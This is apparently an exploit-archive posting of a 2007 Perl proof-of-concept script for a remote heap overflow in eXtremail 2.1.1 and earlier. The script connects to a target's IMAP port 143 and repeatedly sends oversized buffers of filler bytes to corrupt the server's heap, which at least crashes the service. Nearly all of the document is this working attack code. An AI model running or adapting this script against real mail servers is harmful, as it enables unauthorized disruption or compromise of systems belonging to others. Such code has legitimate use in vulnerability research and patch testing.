eXtremail <= 2.1.1 Remote Heap Overflow PoC

2007-10-15 00:00:00

#!/usr/bin/perl
#
# extremail-v8.pl
#
# Copyright (c) 2007 by <[email protected]>
#
# eXtremail <=2.1.1 remote PoC
# by mu-b - Wed Jan 31 2007
#
# Tested on: eXtremail 2.1.1 (lnx)
# eXtremail 2.1.0 (lnx)
#
# - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (defined($arg{'n'})) { $offset = $arg{'n'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 10;
my $loop = 2;

my $NOP = 'A';

if (connect_host($target, $imapd_port)) {
print("-> * Connected\n");
sleep(16);

print("-> * Sending payload\n");
$buf = "\x00".($NOP x (0x2710-1));
send(SOCKET, $buf, 0);
sleep($send_delay);

$buf = $NOP x 0x2710;
while ($loop--) {
print("-> * Sending payload ".$loop."\n");
send(SOCKET, $buf, 0);
sleep($send_delay);
}

print("-> * Successfully sent payload!\n");
}

sub print_header {
print("eXtremail <=2.1.1 remote PoC\n");
print("by: <mu-b\@digit-labs.org>\n");
print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
print(qq(Usage: $0 -t <hostname>

-t <hostname> : hostname to test
));

exit(1);
}

sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1338);
}

#

Fixes

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